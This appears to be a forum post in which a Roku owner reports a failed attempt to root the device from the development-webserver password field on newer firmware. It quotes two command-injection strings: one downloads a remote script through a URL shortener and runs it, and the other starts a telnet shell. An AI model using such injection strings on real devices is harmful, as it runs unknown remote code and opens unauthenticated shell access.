I have a Roku HDMI, on which this should work.
I tried the Roku root to see what would happen. (Went to "Select development webserver password...)
After entering exactly (between the quotes) ";wget -O/tmp/x.sh http://is.gd/awL4oN;sh /*/x.sh;" and clicking OK, the behavior on mine is to blank what was just typed and it never reboots. On the video, the guy hit OK after typing and the typed line remained about 37 secs until it rebooted on its own. I don't know why the line clears when I click OK. Is that a result of the newer firmware, to blank a password line the Roku thinks is an attempt to inject a command?
I have the newest which at the time of this posting is: version 7.5.0 build 4099-09
I was hoping at least to get the non-persistent telnet server to start up. I realize the persistent one was prevented by a previous update.
I tried (between the quotes) ";telnetd -l loginsh;" as well...no dice.